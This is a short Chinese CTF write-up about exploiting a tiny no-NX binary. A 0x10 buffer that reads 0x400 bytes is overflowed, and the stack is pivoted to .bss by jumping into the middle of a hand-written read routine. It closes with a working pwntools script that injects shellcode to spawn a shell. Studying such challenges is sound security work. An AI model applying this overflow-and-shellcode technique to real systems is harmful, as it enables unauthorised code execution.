保护的话重点你会发现没有NX。
程序的话确实,非常的小。
主函数,调用另外一个函数然后退出。
另外一个函数就是开了一个缓冲区,大小是0x10,然后读,能读0x400,有个绝对大的溢出。
这个题关键的是,怎么根据那些已经给了的条件去做一个利用。
首先我们看到没有开NX,那么我们想到说去执行一些shellcode,我们想到栈迁移。
这个地方的栈迁移与以前的不一样,我们说栈迁移有两种,一种迁移到bss上,一种迁移到栈上,迁移到bss上需要我们能够事先在bss上写东西,栈上需要我们能够泄露栈地址。然后我们两种情况都需要一个leave|ret。
这个题我们泄露不了栈的地址,只能说思考这个bss,bss上我们我们要么读,要么leave,那么我们怎么整?
跟平常的题不一样的是,以前read是现成函数,这里是汇编直接写的,那么我们可以把read从中间用,那么我们就不用去开那个read的栈,就会多一个leave|ret,所以我们就会发现,只要把地址写read中间,然后就会read,leabve|ret都有,所以就解决了这个问题。
要注意的就是在往bss上迁移的时候要注意ebp覆盖不要直接覆盖bss,要有一点空余,因为我们在写的时候需要往bss上面写一点,如果那一块不可写,或者有什么关键数据,就会出问题,所以我们迁移的时候往bss下面一点,就好了。
exp
from pwn import*
context.log_level = "debug"
context.arch = "amd64"
shellcode = asm(shellcraft.sh())
r = process("./small")
payload = 'a' * 0x10 + p64(0x402050) + p64(0x401015)
r.sendline(payload)
payload = 'a' * 0x10 + p64(0x402050) + p64(0x402060) + shellcode
r.sendline(payload)
r.interactive()